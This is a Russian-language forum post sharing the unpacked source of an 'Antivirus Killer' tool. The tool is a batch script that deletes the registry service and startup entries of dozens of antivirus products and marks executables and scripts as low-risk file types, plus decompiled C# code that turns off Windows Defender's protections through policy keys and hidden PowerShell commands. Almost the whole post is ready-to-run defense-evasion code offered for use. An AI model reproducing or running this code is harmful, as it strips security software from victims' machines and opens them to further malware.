Загрузка...

Исходники Antivirus Killer

Тема в разделе C# создана пользователем FormatC 26 июн 2020. 348 просмотров

  1. FormatC
    FormatC Автор темы 26 июн 2020 Заблокирован(а) 128 4 июл 2019
    Был защищён инсталлером.
    Снял и выкладываю.
    Там находятся два файла .exe и .bat

    Код
    @echo off
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f
    Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f
    set "osX=%PROCESSOR_ARCHITECTURE%"
    if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64"
    if "%osX%"=="x86" (
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f
    Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f
    ) else (
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32
    Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32
    Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64
    Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64
    Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64
    )
    Код
    using System;
    using System.Diagnostics;
    using System.Security.Principal;
    using System.Threading;
    using Microsoft.Win32;

    namespace Disable_Windows_Defender
    {
    // Token: 0x02000002 RID: 2
    internal class Program
    {
    // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    private static void Main()
    {
    if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
    {
    return;
    }
    Program.RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender", "DisableAntiSpyware", "1");
    Program.RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviorMonitoring", "1");
    Program.RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableOnAccessProtection", "1");
    Program.RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScanOnRealtimeEnable", "1");
    Thread.Sleep(100);
    Program.RunPS("Set-MpPreference -DisableRealtimeMonitoring $true");
    Program.RunPS("Set-MpPreference -DisableBehaviorMonitoring $true");
    Program.RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true");
    Program.RunPS("Set-MpPreference -DisableIOAVProtection $true");
    Program.RunPS("Set-MpPreference -DisablePrivacyMode $true");
    Program.RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true");
    Program.RunPS("Set-MpPreference -DisableArchiveScanning $true");
    Program.RunPS("Set-MpPreference -DisableScriptScanning $true");
    Program.RunPS("Set-MpPreference -SubmitSamplesConsent Never");
    Program.RunPS("Set-MpPreference -MAPSReporting 0");
    }

    // Token: 0x06000002 RID: 2 RVA: 0x00002130 File Offset: 0x00000330
    private static void RegistryEdit(string regPath, string name, string value)
    {
    try
    {
    using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree))
    {
    if (registryKey == null)
    {
    Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord);
    }
    else if (registryKey.GetValue(name) != value)
    {
    registryKey.SetValue(name, value, RegistryValueKind.DWord);
    }
    }
    }
    catch
    {
    }
    }

    // Token: 0x06000003 RID: 3 RVA: 0x000021A4 File Offset: 0x000003A4
    private static void RunPS(string args)
    {
    try
    {
    ProcessStartInfo processStartInfo = new ProcessStartInfo();
    processStartInfo.FileName = "powershell.exe";
    processStartInfo.Arguments = args;
    processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
    new Process
    {
    StartInfo = processStartInfo
    }.Start();
    }
    catch
    {
    }
    }
    }
    }

    AVKiller тема: Тема: https://zelenka.guru/threads/975649/
     
Top
Загрузка...